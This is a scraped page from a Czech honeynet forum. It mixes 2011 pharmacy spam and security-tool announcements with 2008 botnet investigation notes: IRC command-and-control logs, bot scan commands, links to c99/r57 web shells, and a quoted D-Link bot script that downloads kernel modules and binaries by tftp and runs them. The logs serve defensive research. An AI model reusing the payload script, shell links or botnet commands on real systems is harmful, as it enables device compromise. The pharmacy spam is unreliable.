HoneyNet.cz Forum - Všechna fóra

Ještě jedna otázka ...

Thu, 22 Sep 2011 16:56:32 +0000

jelly kamagra

Tue, 20 Sep 2011 18:48:20 +0000

order kamagra cleveland buy kamagra garden grove online differemce between kamagra and viagra kamagra for woman order kamagra uk kwick kamagra order kamagra louisville buy kamagra olathe utilizzo di kamagra maroc kamagra free kamagra powered by phpbb
generic cialis europe kamagra buy kamagra palmdale on line ajanta pharma kamagra adresse kamagra belgique buy kamagra waco jelly oral kamagra buy kamagra elizabeth online order kamagra inglewood online ajanta pharma kamagra soft tabs picture buy kamagra alexandria order kamagra massachusetts
buy kamagra uk order kamagra washington online buy kamagra stockton buy kamagra reno order kamagra hollywood is kamagra legitimate kamagra wiki order kamagra mckinney online buy kamagra in uk order kamagra utah online order kamagra santa clara

order kamagra garden grove online

Tue, 20 Sep 2011 17:15:43 +0000

generic cialis europe kamagra buy kamagra virginia beach online order kamagra hartford kamagra dealers uk viagra kamagra vs order kamagra peoria online kamagra viagra oral jelly order kamagra pembroke pines online buy kamagra oklahoma picture of kamagra st order kamagra fontana online
order kamagra sunnyvale kamagra in manitoba order kamagra north carolina buy kamagra chewable tablets order kamagra stockton online buy kamagra westminster what are kamagra tablets kamagra on line farmacy trust buy kamagra chattanooga kamagra suppliers from india buy kamagra cheap
kamagra gel thailand buy kamagra reno vergelijking cialis kamagra bruxelles kamagra classifieds cheap kamagra kamagra uk seller order kamagra richmond sildenafil citrate kamagra kamagra steroid buy kamagra pembroke pines order kamagra las vegas online

buy kamagra olathe online

Mon, 19 Sep 2011 21:08:58 +0000

buy kamagra cedar rapids online
order kamagra corpus christi
fake kamagra
order kamagra cape coral online
buy kamagra independence online
buy kamagra port st. lucie online
order kamagra georgia online
order kamagra arkansas
no prescription kamagra oral jelly usa
kamagra kent
viagra uk kamagra
buy kamagra rhode island
buy cheap kamagra jelly
order kamagra joliet online
kamagra jelly supplier
kamagra pas cher
buy kamagra elizabeth
kamagra 1000mg
shop for buy kamagra the
kamagra bijwerking
jelly kamagra oral viagra
on line kamagra st
kamagra w plynie
find kamagra for sale on line
order kamagra fort worth
order kamagra lowell
kamagra viagra oral jelly
buy viagra alternative apcalis cialis jel jelly kamagra
does kamagra work for women
buying warning kamagra

My blog!

Mon, 12 Sep 2011 17:46:43 +0000

HI all! It's my new blog zxc88cxz_anchor2!

Honeynet Sinkhole

Sat, 23 Jul 2011 11:49:54 +0000

http://redmine.honeynet.org/projects/sinkhole/files

Currently the tool supports the following protocols
- DNS
- HTTP
- IRC
- FTP

The main focus throughout the development of this tool was
- Ability to deal with high levels of concurrent throughput.
- Ability to be very specific on the level of interaction/logging on a
case by case basis.
- Ability to provide the log data in an easy to use mechanism for further
analysis.
- Ease of management for domains to be logged.

WATOBO

Sat, 23 Jul 2011 11:42:51 +0000

= general description =
WATOBO is intended to enable security professionals to perform
semi-automated web application security audits.

Here's a brief summary of its features:
- Session Management; Login scripts, logout recognition, automated relogin
- One-Time-Token support; for testing CSRF protected functions
- NTLM-Authentication for servers and proxies
- Active security checks: SQLi, XSS, LFI, DirWalker, HTTP-Methods,
JBoss, SAP, ...
- Passive checks/filters: Cookie-Options, Login-Encryption, DOMXSS, ...
- Plugins: SSLChecker, FileFinder and Catalog-Scanner
- Fuzzer: fuzz engine, e.g. for username enumeration or collecting cookies
- Manual Request Editor: customize and send requests
- Differ: diffing request/response pairs

= NEWS =
There are lots of new functions/features like:
- MasterPassword for encrypting Proxy- and WWW-Auth-Passwords
- Hotkey-Help: Press F1 to view all Hotkeys for the focused widget -
Works in ManualRequestEditor, Interceptor, ChatViewers
- Interceptor: Intercept Filters, Editor, Hotkeys - almost complete
rewrite
- Passive Module: 'DOM XSS' - checks for javascript code which
manipulates DOM and may be misused for XSS
- Passive Module: 'Detect One-Time-Tokens' - checks for parameters
which may be used to prevent CSRF-Attacks
- ManualRequest Following Redirects Automatically (optional)
- ManualRequest: Added Hotkeys for 'send' (ctrl-enter) and
transcoding ctrl-[shift]-b (base64), ctrl-[shift]-u (url)
- ManualRequest: new Transform 'Get -> Post'
- TableEditor: Added Hotkeys; ctrl-[shift]-b (base64), ctrl-[shift]-u
(url), ctrl-enter (send request)
- Passive Module: 'Detect Code' - Now also checks for ASP-Snippets
- ConversationTable: added SSL-Icon for encrypted chats
- TextView: added Match-Navigation for 'Highlight'- and 'Grep'-Filter
- One-Time-Token-Dialog: Target chat is also visible for OTT-pattern
creation.
- WATOBO-Logo: watobo-48x48.png for nice desktop shortcuts/launchers ;)

More informationen as well as (new) video tutorials are available at the
project page http://watobo.sourceforge.net

NigerianNet

Fri, 05 Dec 2008 15:12:50 +0000

202.174.82.170:6667

15:43 -!- #Base 52 [+mntr] Base-World
15:43 -!- #petology 309 [+ntr] 'Ã¦Ã¦Ã¦Ã¦Ã¦Ã¦ scan on, don't flood the bot, patch vuln, and use inurl | c99: http://www.keloplaneetta.net/c99.txt | r57: http://www.keloplaneetta.net/r57 | DORK : http://ama.110mb.com/dork.txt'
15:43 -!- #Chat 2 [+nt]
15:43 -!- #Rose_banditz 1 [+nt]
15:43 -!- #Reports 2 [+nt]
15:43 -!- #Help 4 [+ntr] If you need help, kindly wait till you are asked by an NigerianNet IRCop.
15:43 -!- #iran 3 [+nt]
15:43 -!- #Admin 2 [+nt]
15:43 -!- #shop 10 [+mnt]
15:43 -!- #alone 2 [+nt]
15:43 -!- #bjork 1 [+nt]
15:43 -!- #hardsecurity 1 [+nt]
15:43 -!- #Services 9 [+ntrA] Network/Server Administrators Online!
15:43 -!- #miojo 1 [+nt]
15:43 -!- #NigerianNet 353 [+ntrS] NigerianNet NigerianNet NigerianNet NigerianNet NigerianNet NigerianNet NigerianNet NigerianNet NigerianNet NigerianNet NigerianNet
NigerianNet NigerianNet NigerianNet Happy BirthDay Base_dop3 Am So Hood
15:43 -!- #Routing 1 [+nt]
15:43 -!- #staff 1 [+nt]
15:43 -!- #indonesia 3 [+ntr] Â®Â®Â®Â®Â®Â®Â®' |my fs me maniac@fs.co.cc | http://www.belajaemirc.co.cc | http://jembik.fileave.com/psycok.txt visit http://genkcinta.jw.lt/ Â®Â®Â®Â®Â®Â®Â®
15:43 -!- #vHost 1 [+ntr] !vhost host. Example: !vhost what.ever.you.want.net | Then type: !hs ON |
15:43 -!- #alone} 1 [+nt]
15:43 -!- #bronxx 8 [+nt]
15:43 -!- #Edo 305 [+ntr] Welcome to Edo The HeartBeat Of Nigerian Stay Here and Enjoy Your Self====Uwese Baba======>>>>>>>>>>>
15:43 -!- #tglobe 1 [+nt]
15:43 -!- #Gandalf 327 [+ntrC] Farewell Frodo-Baggins Put a Command !scan bug dork & !scan2 bug dork Happy Birthday Base_dop3
15:43 -!- #Ccopwer 5 [+nt]
15:43 -!- #Ccpower 308 [+ntr] Welcome TO Officel Channel Of Tarde #CcPoweR +/@ Verifey FIrst Only Tarde With RegisteR Nicks This ChanneL For Scan Too (Veriefied Users are Slim, _al0ne
and real-deal These Users are sure and You Can Deal with them Enjoy Ur Time Thnx For All STaFF Nigerian NeT for Report a Ripper join to #
15:43 -!- #vls 17 [+ntr] Use: !scan | !scan2 | !scan3 | !scan4 - Brazilians http://www.g0v4zz.kit.net/cmdid.txt
15:43 -!- #OXFORD 1 [+nt]
15:43 -!- #Naija-Scanner 1 [+nt]
15:43 -!- * 7
15:43 -!- #c0d3d 1 [+ntr]
15:43 -!- #NeMeSiS 1 [+nt]
15:43 -!- #scanner 4 [+nt]
15:43 -!- #D3ViL 10 [+ntr]
15:43 -!- #milworm 1 [+nt]
15:43 -!- #monjali 1 [+nt]

To discover [mostly dlink botnet]

Sun, 30 Nov 2008 02:35:47 +0000

bits.. http://www.alzahaby.com/vb/mq2 - http://alma3na.net/linux/
Naser.1

bots.. linux.mqbol.com:7000, backup.zerx.la:7000, irc.alma3na.net:7000

66.252.13.236
212.48.8.140

dlink 8 9.16 3.1 82.6 2

Mon, 24 Nov 2008 07:06:31 +0000

Welcome to the zirtec IRC Network xxb!jh@hush
Your host is irc.zirtec.com, running version Unreal3.2.7
This server was created Mon oct 6 2008 at 19:17:05 CEST
-
irc.zirtec.com Unreal3.2.7 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGj
-
NAMESX SAFELIST HCN MAXCHANNELS=10 CHANLIMIT=#:10 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 WALLCHOPS are supported by this server
WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTG NETWORK=zirtec CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ EXCEPTS INVEX are supported by this server
CMDS=KNOCK,MAP,DCCALLOW,USERIP are supported by this server
-
There are 117 users and 1 invisible on 1 servers
1 operator(s) online
2 channels formed
I have 118 clients and 0 servers
-
Current Local Users: 118 Max: 377
Current Global Users: 118 Max: 345

======================
Channels and pwd still unknown ..
left own IP in several routers' logs
this script left too..#cat /etc/hsk
ifconfig wlan0 down; rmmod tiap; ifconfig br0 192.168.1.1 && ifconfig br0 && tftp -g -l /var/tmp/hsk_drv.o -r hsk_drv.o 192.168.1.100 && tftp -g -l /var/tmp/hsk_app -r hsk_app 192.168.1.100 && chmod 777 /var/tmp/hsk_* && insmod /var/tmp/hsk_drv.o && /var/tmp/hsk_app

nothing else could be found on bot, may be own code rootkit stealth bot

# ifconfig
http://tinypaste.com/9b8e2

206.59.139.195

Thu, 13 Nov 2008 11:05:32 +0000

206.59.139.195:5689
Nick: USA|96210
Username: mihgbp
Joined Channel: ##piavnc##
Channel Topic for Channel ##piavnc##: ".advscan asn445 100 10 0 -b -s"
who

:All-Cruise.net 352 gaihgjtl * qglha 4F5D9FF9.C0A95787.427F3FEA.IP All-Cruise.net [00|RUS|XP|SP2]-8583 H :0 [00|RUS|XP|SP2]-8583
:All-Cruise.net 352 gaihgjtl * Cxs dhcp156-169.lab156.tuat.ac.jp All-Cruise.net RaDmIn- H :0 Cx
:All-Cruise.net 352 gaihgjtl * bkzn ool-44c5daad.dyn.optonline.net All-Cruise.net [XP|USA]5843 H :0 [XP|USA]5843
:All-Cruise.net 352 gaihgjtl ##piavnc## zthxah 8.6.118.7 All-Cruise.net USA|35339 H :0 USA|35339
:All-Cruise.net 352 gaihgjtl * ifywy 64.27.17.141 All-Cruise.net [GTA]-37964 H :0 [GTA]-37964
:All-Cruise.net 352 gaihgjtl * Scanner 96.57.98.254 All-Cruise.net h4j7bae H :0 Pwned
:All-Cruise.net 352 gaihgjtl * Cxs 89.248.169.108 All-Cruise.net RaDmIn H :0 Cx
:All-Cruise.net 352 gaihgjtl ##help huppie 821C1769.E38FCB8D.B7F0C7C7.IP All-Cruise.net pe[ro H* :0 huppie
:All-Cruise.net 352 gaihgjtl * uhbq 91.124.178.9 All-Cruise.net RUS|7263 H :0 RUS|7263
:All-Cruise.net 352 gaihgjtl ##piavnc## qflota 76.89.149.136 All-Cruise.net USA|54351 H :0 USA|54351
:All-Cruise.net 352 gaihgjtl * ulso tor.globenet.org All-Cruise.net [00|USA|XP|SP2]-6540 H :0 [00|USA|XP|SP2]-6540
:All-Cruise.net 352 gaihgjtl * kwwlnk B79BDF16.BE25ABD5.DC241788.IP All-Cruise.net [GTA]-18400 H :0 [GTA]-18400
:All-Cruise.net 352 gaihgjtl ##piavnc## qbzfnj 87.106.242.79 All-Cruise.net USA|21088 H :0 USA|21088
:All-Cruise.net 315 gaihgjtl * :End of /WHO list.
lusers
:All-Cruise.net 251 gaihgjtl :There are 14 users and 95 invisible on 1 servers
:All-Cruise.net 252 gaihgjtl 3 :operator(s) online
:All-Cruise.net 254 gaihgjtl 11 :channels formed
:All-Cruise.net 255 gaihgjtl :I have 109 clients and 0 servers
:All-Cruise.net 265 gaihgjtl :Current Local Users: 109 Max: 147
:All-Cruise.net 266 gaihgjtl :Current Global Users: 109 Max: 144

66.252.13.209

Thu, 13 Nov 2008 09:22:10 +0000

66.252.13.209 9682
Nick: ][l4M3r][mwbarg
Username: ][l4M3r][mwbarg
Joined Channel: #l4mer# with Password lamo
Channel Topic for Channel #l4mer#: ".asc asn 100 3 0 -r -b -s"
Private Message to Channel #l: ""

208.98.61.87

Tue, 21 Oct 2008 15:59:02 +0000

208.98.61.87 port 8888
channel #trv

-----------
JOIN #trv
:Infects.Fuck-You.info 332 user #trv :missao packet! 201.55.56.219 resolvido para http://www.polmil.sp.gov.br
:Infects.Fuck-You.info 333 user #trv xscholler 1224221046
:Infects.Fuck-You.info 353 user @ #trv :user vn722 vn600 vn546 owned vn44 vn276 vn557 vn690 vn354 vn540 vn470 vn534 vn709 vn313 vn21 vn475 vn686 vn624 vn956 vn920 vn725 vn455 vn908 vn806 vn489 vn54 vn172 vn484 +vn317 +vn355 vn846 vn42 @d-

lusers
:Infects.Fuck-You.info 251 user :There are 108 users and 2 invisible on 1 servers
:Infects.Fuck-You.info 254 user 6 :channels formed
:Infects.Fuck-You.info 255 user :I have 110 clients and 0 servers
:Infects.Fuck-You.info 265 user :Current Local Users: 110 Max: 258
:Infects.Fuck-You.info 266 user :Current Global Users: 110 Max: 174

148.229.9.5

Sat, 11 Oct 2008 15:29:51 +0000

17:19 -!- Irssi: Connecting to 148.229.9.5 [148.229.9.5] port 6667
17:19 -!- Irssi: Connection to 148.229.9.5 established
17:19 -!- Welcome to the InfernO.Net IRC Network nirgil!nirgil
17:19 -!- Your host is rOx.infernO.Net, running version Unreal3.2.7
17:19 -!- This server was created Sat Oct 4 2008 at 06:55:09 MDT
17:19 -!- rOx.infernO.Net Unreal3.2.7 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGj
17:19 -!- NAMESX SAFELIST HCN MAXCHANNELS=20 CHANLIMIT=#:20 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20
WALLCHOPS are supported by this server
17:19 -!- WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTG NETWORK=InfernO.Net CASEMAPPING=ascii
EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ EXCEPTS INVEX are supported by this server
17:19 -!- CMDS=KNOCK,MAP,DCCALLOW,USERIP are supported by this server
17:19 -!- There are 32 users and 30 invisible on 3 servers
17:19 -!- 19 operator(s) online
17:19 -!- 27 channels formed
17:19 -!- I have 31 clients and 0 servers
17:19 -!- Current Local Users: 31 Max: 200
17:19 -!- Current Global Users: 62 Max: 200
17:19 -!- Mode change [+iwx] for user nirgil
17:19 SecureServ [TS@stats.infernO.Net] requested CTCP VERSION from nirgil:
17:20 -!- Channel Users Name
17:20 -!- # 1
17:20 -!- #mp3X 19 [+nt]
17:20 -!- #emos 19 [+nt]
17:20 -!- #read 19 [+nt]
17:20 -!- #mIRC 19 [+nt]
17:20 -!- #lols 20 [+nt]
17:20 -!- #Ajuda 6 [+ntr] Canal de ajuda e suporte da rede Inferno.Net
17:20 -!- #emule 24 [+ntr] Canal oficial de eMule em PortuguÃªs | PÃ¡gina oficial em http://www.emule-project.net/home/perl/help.cgi?l=30 | Para conheceres as regras
do canal escreve !regras | Para ajuda e configuraÃ§Ã£o de eMule escreve !lista ou !Ajuda | SugestÃµes-forum: http://www.therostrum.net/forum/
17:20 -!- #sampa 19 [+nt]
17:20 -!- #Vhost 5 [+ntr]
17:20 -!- #brasil 29 [+ntrl] <@> Bem Vindo[a] ao # B R A S I L o canal brasileiro da infernO IRC Network !<@>
17:20 -!- #Brazil 20 [+nt]
17:20 -!- #BestFriends 19 [+nt]
17:20 -!- #P2P 19 [+nt]
17:20 -!- #script 20 [+nt]
17:20 -!- #ceu 19 [+nt]
17:20 -!- #rox 19 [+nt]
17:20 -!- #uno 19 [+nt]
17:20 -!- #virtual-chat 20 [+ntr] ~ x ~ Virtual-Chat - Bate Papo & DiversÃ£o - Aqui VocÃª Ã© sempre Bem-Vindo - Mais vale um verdadeiro amigo virtual, do que um amig que nÃ£o conhece o verdadeiro sentido da palavra amizade. Virtual-Chat ~ x ~
17:20 -!- #bonjovi 19 [+nt]
17:20 -!- #BotServ 9 [+mntr]
17:20 -!- #infernO 30 [+ntrQl] Welcome to InfernO IRC Network Servers: /s inferno.serverirc.com - /s inferno.irc.su
17:20 -!- #espanol 20 [+nt]
17:20 -!- #ac/dc 19 [+nt]
17:20 -!- End of /LIST
17:21 -!- #espanol nirgil H 0 nirgil@infernO-E70ACB59.petriny.net [nirgil]
17:21 -!- #espanol Network Hr* 0 Kill@NetAdmin.infernO.Net [mist3r shadow]
17:21 -!- #espanol walton H 0 EviL0609@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #espanol sullivan H 0 EviL1642@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #espanol springer H 0 EviL6440@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #espanol spencer H 0 EviL7182@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #espanol collins H 0 EviL9204@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #espanol christensen H 0 EviL3923@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #espanol chen H 0 EviL1702@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #espanol chase H 0 EviL8430@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #espanol burton H 0 EviL7524@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #espanol burke H 0 EviL3957@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #espanol bryan H 0 EviL5581@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #espanol brown H 0 EviL9839@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #espanol palmer H 0 EviL9931@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #espanol morris H 0 EviL5202@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #espanol mathews H 0 EviL1129@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #espanol martinez H 0 EviL1119@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #espanol marsh H 0 EviL7549@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #espanol cook H 0 EviL2129@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #espanol comer H 0 EviL7610@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- End of /WHO list
17:21 -!- #script diablO Hr*@ 0 lol@Lindo.T.Bonito.e.Gostosao.of.Nina.xD [gRRrrrrr]
17:21 -!- #Brazil walton H 0 EviL0609@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #Brazil sullivan H 0 EviL1642@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #Brazil springer H 0 EviL6440@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #Brazil spencer H 0 EviL7182@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #Brazil collins H 0 EviL9204@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #Brazil christensen H 0 EviL3923@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #Brazil chen H 0 EviL1702@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #Brazil chase H 0 EviL8430@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #Brazil burton H 0 EviL7524@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]
17:21 -!- #Brazil burke H 0 EviL3957@infernO-5802415E.net [FreeBSD tetis.uazone.net 5.5-RELEASE FreeBSD 5.5-R]

d-link botnet

Fri, 10 Oct 2008 03:16:49 +0000

Previously was reported about d-link mass-rooter (http://www.mail-archive.com/ml@sikurezza...html). We have decided to investigate dlink bot and find the c&c centre.
File was downloaded from http://82.211.36.15/apache2-default/systcp.d. Preliminary studies have shown that file was compiled by mips cross compiler. Execute this file on home dlink router and sniff packets we found process "sysssz" and connect to
server 84.200.5.12 and port 59004
Unpacked systcp.d with upx linux unpacker, then using utility strings we found some interesting info:
channel ##pwned
pass ******
-----
WHO
There are 263 users and 4 invisible on 2 servers
:irc.teckvision.org 352 user * esfzluwp 189.27.112.154.adsl.gvt.net.br irc.teckvision.org esfzluwp H :0 esfzluwp
:irc.teckvision.org 352 user * user 8CB3BD43.D492B77D.648FA1.IP irc.teckvision.org user H :0 user
:irc.teckvision.org 352 user * ryjsewug acou83.neoplus.adsl.tpnet.pl irc.teckvision.org ryjsewug H :0 ryjsewug
:irc.teckvision.org 352 user * vevckdpy mbl-82-51-202.dsl.net.pk irc.teckvision.org vevckdpy H :0 vevckdpy
:irc.teckvision.org 352 user * klagwqtp 215.38.117.87.donpac.ru irc.teckvision.org klagwqtp H :0 klagwqtp
:irc.teckvision.org 352 user * vmiukzqf 87.70.99.95 irc.teckvision.org vmiukzqf H :0 vmiukzqf
:irc.teckvision.org 352 user * glmddjij aamx190.neoplus.adsl.tpnet.pl irc.teckvision.org glmddjij H :0 glmddjij
:irc.teckvision.org 352 user * zmgxhtqw 93-172-203-125.bb.netvision.net.il irc.teckvision.org zmgxhtqw H :0 zmgxhtqw
:irc.teckvision.org 352 user * apwmkygl 58.147.48.104 irc.teckvision.org apwmkygl H :

Albania-Hackers-Group

Wed, 08 Oct 2008 20:55:15 +0000

22:47 -!- Irssi: Connecting to 70.84.191.50 [70.84.191.50] port 6667
22:47 -!- Irssi: Connection to 70.84.191.50 established
22:47 -!- Welcome to the Albania Hackers Group Network IRC Network
22:47 -!- Your host is Irc.Albanians.Info, running version Unreal3.2.3
22:47 -!- This server was created Wed Oct 8 2008 at 06:28:01 CDT
22:47 -!- Irc.Albanians.Info Unreal3.2.3 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGj
22:47 -!- SAFELIST HCN MAXCHANNELS=15 CHANLIMIT=#:15 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 WALLCHOPS WATCH=128 are
supported by this server
22:47 -!- SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(ohv)@%+ CHANMODES=beIqa,kfL,lj,psmntirRcOAQKVGCuzNSMTG NETWORK=Albania-Hackers-Group-Network CASEMAPPING=ascii EXTBAN=~,cqnr
ELIST=MNUCT STATUSMSG=@%+ EXCEPTS INVEX CMDS=KNOCK,MAP,DCCALLOW,USERIP are supported by this server
22:47 -!- There are 1 users and 152 invisible on 1 servers
22:47 -!- 2 operator(s) online
22:47 -!- 5 channels formed
22:47 -!- I have 153 clients and 0 servers
22:47 -!- Current Local Users: 153 Max: 264
22:47 -!- Current Global Users: 153 Max: 264
22:47 -!- MOTD File is missing
22:47 -!- Mode change [+iwx] for user
22:47 -!- Channel Users Name
22:47 -!- End of /LIST
22:48 -!- #alb [El]Alb|5745408 H 0 ~lewkjcw@s15217005.onlinehome-server.info [lewkjcw]
22:48 -!- #alb [El]Alb|2639119 H 0 ~zjatsum@u10.onlinehosting.cz [zjatsum]
22:48 -!- #alb [El]Alb|3963937 H 0 ~fpinkbz@w24.webd.pl [fpinkbz]
22:48 -!- #alb [El]Alb|9218407 H 0 ~brkhjxi@server.foresceneweb.com [brkhjxi]
22:48 -!- #alb [El]Alb|0782619 H 0 ~kktpogb@server.foresceneweb.com [kktpogb]
22:48 -!- #alb [El]Alb|8786599 H 0 ~naywweo@v27156.1blu.de [naywweo]
22:48 -!- #alb [El]Alb|2781204 H 0 ~lhobbno@server.foresceneweb.com [lhobbno]
22:48 -!- #alb [Al]Alb|1472031 H 0 ~htoqshn@www.cukurovaziraat.com.tr [htoqshn]
22:48 -!- #alb [El]Alb|5737014 H 0 ~gwelgha@kochanski.thinline.cz [gwelgha]
22:48 -!- #alb [El]Alb|4875621 H 0 ~wuiatbv@92.243.67.114.addr.datapoint.ru [wuiatbv]
22:48 -!- #alb [El]Alb|7669229 H 0 ~nnngqdv@92.243.67.114.addr.datapoint.ru [nnngqdv]
22:48 -!- #alb [Al]Alb|1720969 H 0 ~xyscskp@195.116.10.3 [xyscskp]
22:48 -!- #alb [Al]Alb|4359824 H 0 ~awdirkp@195.116.10.3 [awdirkp]
22:48 -!- #alb [El]Alb|6092542 H 0 ~nwzesfp@sufit.webd.pl [nwzesfp]
22:48 -!- #alb [El]Alb|6525269 H 0 ~vrpuuag@sufit.webd.pl [vrpuuag]
22:48 -!- #alb [El]Alb|7782331 H 0 ~vhgnfaj@217.174.98.11 [vhgnfaj]
22:48 -!- #alb [El]Alb|4839065 H 0 ~rzytnfk@217.174.98.11 [rzytnfk]
22:48 -!- #alb [El]Alb|7441771 H 0 ~ydgroys@217.174.98.11 [ydgroys]
22:48 -!- #alb [El]Alb|0336124 H 0 ~mhkqjvf@83.149.76.128 [mhkqjvf]
22:48 -!- #alb [El]Alb|1137874 H 0 ~pbthokk@83.149.76.60 [pbthokk]
22:48 -!- #alb [El]Alb|4270625 H 0 ~qencfdb@83.149.76.128 [qencfdb]
22:48 -!- #alb [Al]Alb|3058359 H 0 ~eyltqch@121.124.33.65 [eyltqch]
22:48 -!- #alb [Al]Alb|9099400 H 0 ~oaquqbw@121.139.164.61 [oaquqbw]
22:48 -!- #alb [El]Alb|1509617 H 0 ~mgafymi@host7.ssl-net.net [mgafymi]
22:48 -!- #alb [El]Alb|6664878 H 0 ~nblimiu@67.18.151.18 [nblimiu]
22:48 -!- #alb [El]Alb|8648772 H 0 ~yzxhmlt@nassau.globat.com [yzxhmlt]
22:48 -!- #alb [Al]Alb|7110421 H 0 ~nhpojts@80.228.112.76 [nhpojts]
22:48 -!- #alb [El]Alb|6048795 H 0 ~giuhpwb@v27156.1blu.de [giuhpwb]
22:48 -!- #alb [El]Alb|3957781 H 0 ~hirbgas@67.18.151.18 [hirbgas]
22:48 -!- #alb [El]Alb|8700344 H 0 ~zcglufc@web09.talkactive.net [zcglufc]
22:48 -!- #alb [Al]Alb|3374138 H 0 ~fchtmxf@phaedra.cfm.hu [fchtmxf]
22:48 -!- #alb [El]Alb|6742115 H 0 ~rrrlpuz@hotel569.server4you.de [rrrlpuz]
22:48 -!- #alb [El]Alb|9570442 H 0 ~dbnedgw@coldwar68.swisslink.ch [dbnedgw]
22:48 -!- #alb [El]Alb|5624032 H 0 www-data@srv07.guenstig-webspace.de [czmrjtt]
22:48 -!- #alb [El]Alb|7377213 H 0 ~gnufivd@schaeael-sigg.de [gnufivd]
22:48 -!- #alb [El]Alb|4669530 H 0 ~txxrmiw@c1.servage.net [txxrmiw]
22:48 -!- #alb [El]Alb|4981867 H 0 ~kmdxhwu@c1.servage.net [kmdxhwu]
22:48 -!- #alb [Al]Alb|3879886 H 0 ~xivozfz@80.228.112.76 [xivozfz]
22:48 -!- #alb [Al]Alb|4420599 H 0 ~jpamubj@77-93-254-30.dcpool.ip.kpnqwest.it [jpamubj]
22:48 -!- #alb [El]Alb|6039681 H 0 ~eosssxn@c9.servage.net [eosssxn]
22:48 -!- #alb [El]Alb|7560046 H 0 ~tgqilkf@hs-754.dedicated.hostalia.com [tgqilkf]
22:48 -!- #alb [El]Alb|3394948 H 0 ~qqsktso@91.198.105.13 [qqsktso]
22:48 -!- #alb [El]Alb|2176138 H 0 ~oygzwkn@77.78.110.137 [oygzwkn]
22:48 -!- #alb [El]Alb|9515848 H 0 ~pszpvvx@c9.servage.net [pszpvvx]
22:48 -!- #alb [El]Alb|4039658 H 0 ~jdbqgve@67.18.151.18 [jdbqgve]
22:48 -!- #alb AlbCreW H* 0 ~Exploit@Albania.Security.Clan.Al [Albania Security Clan]
22:48 -!- #alb Inteligent H* 0 Inteligent@Albania.Security.Clan.Al [Better If U Dont Whois Me...Its not Funny]
22:48 -!- End of /WHO list

irc.ardantus.org

Wed, 08 Oct 2008 07:50:03 +0000

There are 963 users and 380 invisible on 21 servers on MILDNet
24 operator(s) online on MILDNet
329 channels formed
I have 92 clients and 0 servers
Current Local Users on MILDNet: 92 Max: 953
